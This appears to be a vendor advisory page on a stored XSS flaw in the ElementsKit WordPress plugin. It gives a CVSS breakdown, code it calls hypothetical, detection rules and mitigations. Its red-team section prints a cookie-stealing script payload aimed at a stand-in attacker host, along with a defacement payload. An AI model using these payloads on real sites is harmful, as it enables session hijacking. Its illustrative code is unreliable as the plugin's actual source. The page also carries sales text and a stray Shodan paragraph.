CVE-2024-1239
Executive Summary
CVE-2024-1239 is a Stored Cross-Site Scripting (XSS) vulnerability in the ElementsKit Elementor addons plugin for WordPress, affecting all versions up to and including 3.0.4. The flaw resides in the blog post "read more" button functionality, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload, leading to potential session hijacking, credential theft, or defacement.
This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely-used plugin, and the lack of a vendor patch means all sites running affected versions remain exposed. The CVSS score of 6.4 (Medium) reflects the need for authenticated access but also the high impact of stored XSS in a multi-user environment.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin vulnerability, not an NPM, PyPI, Go, or Ruby package. However, the plugin is distributed via the WordPress plugin repository and can be installed through the WordPress admin dashboard. Users should verify they are not using the affected version and consider removing the plugin if no update is available.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): Low – Attacker needs contributor-level access or higher.
- User Interaction (UI): Required – A user must visit the compromised page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of the plugin elevate the real-world risk. Stored XSS can lead to persistent compromise of user sessions and data.
Deep Dive & Mechanics
The vulnerability exists in the ElementsKit plugin's handling of the "read more" button for blog posts. The plugin fails to properly sanitize user-supplied input when rendering this button, allowing attackers to inject malicious JavaScript. The injected script is stored in the WordPress database and executed when any user (including administrators) views the affected page.
Root Cause: The plugin uses esc_attr() or similar functions incorrectly, or omits output escaping entirely for the "read more" button text. This allows HTML/JavaScript to be stored and later rendered without proper encoding.
Attack Flow:
- An attacker with contributor-level access or higher creates or edits a blog post.
- The attacker inserts a malicious payload (e.g.,
<script>alert('XSS')</script>) into the "read more" button text field. - The plugin stores the payload in the database without sanitization.
- When a user visits the blog post, the payload executes in the user's browser context.
Impact: The attacker can steal session cookies, redirect users to malicious sites, deface pages, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no official patch exists, the following is a hypothetical fix based on common XSS prevention techniques.
Vulnerable Code (ElementsKit <= 3.0.4):
// In elementskit/modules/blog/views/blog-template.php
echo '<a href="' . get_permalink() . '" class="read-more-btn">' . $read_more_text . '</a>';
Here, $read_more_text is output directly without escaping.
Patched Code (Hypothetical):
echo '<a href="' . esc_url(get_permalink()) . '" class="read-more-btn">' . esc_html($read_more_text) . '</a>';
Using esc_html() ensures that any HTML/JavaScript in $read_more_text is encoded, preventing XSS.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with ElementsKit plugin version <= 3.0.4.
- Contributor-level account or higher.
Steps:
- Log in to WordPress as a contributor.
- Create a new blog post or edit an existing one.
- In the "Read More" button text field, enter the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Publish or update the post.
- When an administrator or other user views the post, their cookies are sent to the attacker's server.
Alternative Payload (Defacement):
<script>document.body.innerHTML='<h1>Hacked by Red Team</h1>'</script>
Blue Team (Detection & Prevention)
Detection:
- Monitor WordPress admin logs for suspicious changes to post content, especially the "read more" button text.
- Use web application firewalls (WAF) to block common XSS patterns in POST requests.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Prevention:
- Disable or remove the ElementsKit plugin until a patch is available.
- Restrict contributor-level access to trusted users only.
- Apply virtual patching via WAF rules.
Indicators of Compromise (IOCs)
- File:
wp-content/plugins/elementskit/modules/blog/views/blog-template.php(vulnerable file) - Database: Posts with
<script>tags in thepost_contentor custom fields related to "read more" button. - Network: Outbound connections to unknown domains from WordPress admin pages.
- Logs: Unusual POST requests to
/wp-admin/post.phpwith XSS payloads in theread_more_textparameter.
Detection Engineering
YARA Rule
rule Detect_ElementsKit_XSS_Payload {
meta:
description = "Detects XSS payloads targeting ElementsKit read more button"
author = "Valters IT"
date = "2025-04-14"
reference = "CVE-2024-1239"
strings:
$payload1 = "<script" nocase
$payload2 = "onerror=" nocase
$payload3 = "onload=" nocase
$payload4 = "javascript:" nocase
condition:
any of them and filesize < 10KB
}
Sigma Rule
title: ElementsKit Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in ElementsKit plugin read more button
author: Valters IT
date: 2025-04-14
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'read_more_text'
cs-uri-query|re: '(<script|<img|onerror|onload|javascript:)'
condition: selection
falsepositives:
- Legitimate use of HTML in read more text (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1239 ElementsKit Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"read_more_text"; http_client_body; pcre:"/(<script|<img|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the ElementsKit plugin until a patched version is released.
- Audit user accounts: Review and revoke contributor-level access for untrusted users.
- Scan for compromise: Check posts for injected scripts using the YARA rule above.
Long-term Fix:
- The vendor must release a patched version (e.g., 3.0.5) that properly escapes output using
esc_html()orwp_kses(). - Users should update to the latest version once available.
Workarounds:
- Implement a WAF rule to block requests containing
<script>in theread_more_textparameter. - Use a security plugin like Wordfence to add virtual patching.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.